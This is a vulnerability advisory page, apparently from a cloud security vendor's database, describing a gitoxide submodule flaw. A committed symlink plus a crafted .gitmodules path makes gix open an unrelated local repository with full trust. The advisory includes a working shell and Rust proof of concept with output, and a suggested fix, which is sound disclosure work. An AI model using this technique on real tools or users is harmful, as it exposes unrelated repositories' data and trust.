
Cloud Vulnerability DB
A community-led vulnerabilities database
Submodule::git_dir_try_old_form() first looks for <worktree>/<submodule path>/.git. The submodule
path from .gitmodules is checked for absolute paths and lexical .., but not for symlinks in the
worktree. A cloned repository that commits a symlink up -> .. and a .gitmodules entry with
path = up/other makes state() and open() return an unrelated repository next to the clone, opened
with full trust. Git refuses submodule paths that contain a symlink. This is the same effect as
GHSA-fr8x-3vfx-f45h (which went through the name), reached through the path instead.
work_dir() joins the configured path onto the superproject's worktree:
https://github.com/GitoxideLabs/gitoxide/blob/gix-v0.90.0/gix/src/submodule/mod.rs#L217-L223
git_dir_try_old_form_inner() (used by git_dir_try_old_form(), state(), open() and status())
takes work_dir()/.git whenever it is a directory, before falling back to .git/modules/<name>:
https://github.com/GitoxideLabs/gitoxide/blob/gix-v0.90.0/gix/src/submodule/mod.rs#L243-L249
open() opens that directory with git_dir_trust = None, so trust comes from ownership. A repository
the user owns is opened with Trust::Full:
https://github.com/GitoxideLabs/gitoxide/blob/gix-v0.90.0/gix/src/submodule/mod.rs#L312-L320
The only validation of the path is in gix-submodule's File::path(), which rejects absolute paths
and paths that normalize outside the worktree. It is purely lexical, so up/other passes:
https://github.com/GitoxideLabs/gitoxide/blob/gix-v0.90.0/gix-submodule/src/access.rs#L117-L131
Git closed this class in 2.45.1 / 2.39.4 (the CVE-2024-32002 release) with
validate_submodule_path(), which errors when any component of a submodule path is a symbolic link,
and calls it from the submodule--helper subcommands:
https://github.com/git/git/blob/v2.47.0/submodule.c#L2324-L2349
(commit e8d0608944486019ea0e1ed2ed29776811a565c2, "submodule: require the submodule path to contain
directories only").
The name-based escape is closed: gix_validate::submodule::name rejects .. and git_dir() appends
the name textually. The path is the remaining way to point the lookup elsewhere.
Suggested fix (not tested): before using work_dir()/.git, check each component of the submodule path
below the worktree with symlink_metadata() and treat a symlink as an error (or as "not checked out"),
the way git's validate_submodule_path() does. Doing it in git_dir_try_old_form_inner() covers
state(), open() and status() together.
Needs git and a Rust toolchain. cargo build fetches gix 0.90.0 from crates.io; the run itself needs
no network.
make_fixture.sh creates an unrelated repository /tmp/gixpoc/projects/other (standing in for any
repository the user already has, with a marker value in its local config), publishes a repository whose
only content is a symlink and a .gitmodules, and clones it with plain git clone next to it:
#!/bin/sh
set -e
export GIT_AUTHOR_NAME=t GIT_AUTHOR_EMAIL=t@t GIT_COMMITTER_NAME=t GIT_COMMITTER_EMAIL=t@t
B=/tmp/gixpoc
rm -rf $B; mkdir -p $B/projects
git init -q $B/projects/other
git -C $B/projects/other commit -q --allow-empty -m init
git -C $B/projects/other config poc.marker "config of the unrelated repository"
git init -q $B/src
cd $B/src
ln -s .. up
printf '[submodule "lib"]\n\tpath = up/other\n\turl = https://example.invalid/lib.git\n' > .gitmodules
git add up .gitmodules
git commit -q -m "add submodule"
git clone -q --bare $B/src $B/attacker.git
git clone -q $B/attacker.git $B/projects/super
ls -la $B/projects/superCargo.toml:
[package]
name = "gix-submodule-symlink-poc"
version = "0.1.0"
edition = "2021"
[dependencies]
gix = { version = "=0.90.0", default-features = false, features = ["attributes", "sha1"] }src/main.rs:
fn main() {
let sup = std::env::args().nth(1).expect("superproject path");
let sup_canon = std::fs::canonicalize(&sup).unwrap();
let repo = gix::open(&sup).expect("open superproject");
for sm in repo.submodules().unwrap().expect(".gitmodules") {
println!("submodule {:?} path={:?}", sm.name(), sm.path().unwrap());
println!(" state = {:?}", sm.state());
let r = sm.open().unwrap().expect("submodule repository");
let gd = std::fs::canonicalize(r.git_dir()).unwrap();
println!(" open -> git_dir {}", gd.display());
println!(" inside superproject? {}", gd.starts_with(&sup_canon));
println!(" trust = {:?}", r.git_dir_trust());
println!(" poc.marker = {:?}", r.config_snapshot().string("poc.marker").map(|s| s.to_string()));
}
}Run sh make_fixture.sh, then cargo run -q -- /tmp/gixpoc/projects/super. Output (Debian 13,
git 2.47.3, rustc 1.99.1, run offline):
total 16
drwxr-xr-x 3 root root 4096 Oct 27 20:53 .
drwxr-xr-x 4 root root 4096 Oct 27 20:53 ..
drwxr-xr-x 8 root root 4096 Oct 27 20:53 .git
-rw-r--r-- 1 root root 74 Oct 27 20:53 .gitmodules
lrwxrwxrwx 1 root root 2 Oct 27 20:53 up -> ..
submodule "lib" path="up/other"
state = Ok(State { repository_exists: true, is_old_form: true, worktree_checkout: true, superproject_configuration: false })
open -> git_dir /tmp/gixpoc/projects/other/.git
inside superproject? false
trust = Full
poc.marker = Some("config of the unrelated repository")The clone holds no submodule repository, yet state() reports one as checked out and open() returns
/tmp/gixpoc/projects/other with full trust. The symlink may also be absolute (up -> /), which removes
the need to guess a relative location.
Link following outside the worktree (CWE-59) leading to the wrong repository being opened. A tool built
on gix that inspects submodules of a repository it did not author (status, listing, CI or indexing tools,
editors) can be pointed at another repository on the same machine, opened with the user's full trust.
The tool then reports that repository's data (refs, HEAD, config, status) as if it belonged to the
submodule, and anything it does next with the returned Repository acts on the wrong repository.
Preconditions, stated plainly:
repo.submodules() followed by state(), open() or status() on the entry. This is the same
precondition as GHSA-fr8x-3vfx-f45h and GHSA-p3hw-mv63-rf9w.~/src/<name>) or absolute.submodules() lists every .gitmodules entry.repo.status() reaches it. It is driven by index gitlinks, and a tree cannot hold
both a symlink up and a gitlink up/other, so probably not.
Found with the help of an AI assistant (Claude). I verified the reproduction myself.
I haven't shared this anywhere.
Varun ReddySource: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."